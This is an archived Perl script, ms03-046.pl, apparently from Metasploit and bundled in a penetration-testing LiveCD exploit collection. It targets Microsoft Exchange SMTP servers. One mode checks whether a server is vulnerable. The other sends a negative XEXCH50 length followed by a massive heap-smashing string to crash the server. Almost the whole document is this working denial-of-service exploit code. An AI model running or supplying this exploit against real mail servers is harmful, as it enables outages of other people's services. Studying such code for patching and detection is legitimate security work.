home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / ms03-046.pl < prev    next >
Perl Script  |  2005-02-12  |  2KB  |  119 lines

  1. #!/usr/bin/perl -w
  2. ##################
  3.  
  4. ##
  5. # ms03-046.pl - hdm[at]metasploit.com
  6. ##
  7.  
  8. use strict;
  9. use IO::Socket;
  10.  
  11. my $host = shift() || usage();
  12. my $mode = shift() || "CHECK";
  13. my $port = 25;
  14.  
  15.  
  16. if (uc($mode) eq "CHECK") { check() }
  17. if (uc($mode) eq "CRASH") { crash() }
  18.  
  19. usage();
  20.  
  21.  
  22. sub check
  23. {
  24.     my $s = SMTP($host, $port);
  25.     if (! $s)
  26.     {
  27.         print "[*] Error establishing connection to SMTP service.\n";
  28.         exit(0);
  29.     }
  30.  
  31.     print $s "XEXCH50 2 2\r\n";
  32.     my $res = <$s>;    
  33.     close ($s);
  34.  
  35.     # a patched server only allows XEXCH50 after NTLM authentication
  36.     if ($res =~ /authentication/i)
  37.     {
  38.         print "[*] This server has been patched or is not vulnerable.\n";
  39.         exit(0);
  40.     }
  41.  
  42.     print "[*] This system is vulnerable: $host:$port\n";
  43.  
  44.     exit(0);
  45. }
  46.  
  47.  
  48. sub crash
  49. {
  50.     my $s = SMTP($host, $port);
  51.     if (! $s)
  52.     {
  53.         print "[*] Error establishing connection to SMTP service.\n";
  54.         exit(0);
  55.     }
  56.  
  57.     # the negative value allows us to overwrite random heap bits
  58.     print $s "XEXCH50 -1 2\r\n";
  59.     my $res = <$s>;    
  60.  
  61.     # a patched server only allows XEXCH50 after NTLM authentication
  62.     if ($res =~ /authentication/i)
  63.     {
  64.         print "[*] This server has been patched or is not vulnerable.\n";
  65.         exit(0);
  66.     }
  67.  
  68.     print "[*] Sending massive heap-smashing string...\n";
  69.     print $s ("META" x 16384);
  70.  
  71.     # sometimes a second connection is required to trigger the crash
  72.     $s = SMTP($host, $port);
  73.  
  74.     exit(0);
  75. }
  76.  
  77.  
  78. sub usage 
  79. {
  80.     print STDERR "Usage: $0 <host> [CHECK|CRASH]\n";
  81.     exit(0);
  82.  
  83. }
  84.  
  85. sub SMTP
  86. {
  87.     my ($host, $port) = @_;
  88.     my $s = IO::Socket::INET->new
  89.     (
  90.         PeerAddr => $host,
  91.         PeerPort => $port,
  92.         Proto    => "tcp"
  93.     ) || return(undef);
  94.  
  95.     my $r = <$s>;
  96.     return undef if !$r;
  97.     
  98.     if ($r !~ /Microsoft/)
  99.     {
  100.         chomp($r);
  101.         print STDERR "[*] This does not look like an exchange server: $r\n";
  102.         return(undef);
  103.     }
  104.     
  105.     print $s "HELO X\r\n";
  106.     $r = <$s>;
  107.     return undef if !$r;   
  108.  
  109.     print $s "MAIL FROM: DoS\r\n";
  110.     $r = <$s>;
  111.     return undef if !$r;
  112.     
  113.     print $s "RCPT TO: Administrator\r\n";
  114.     $r = <$s>;
  115.     return undef if !$r;
  116.     
  117.     return($s); 
  118. }
  119.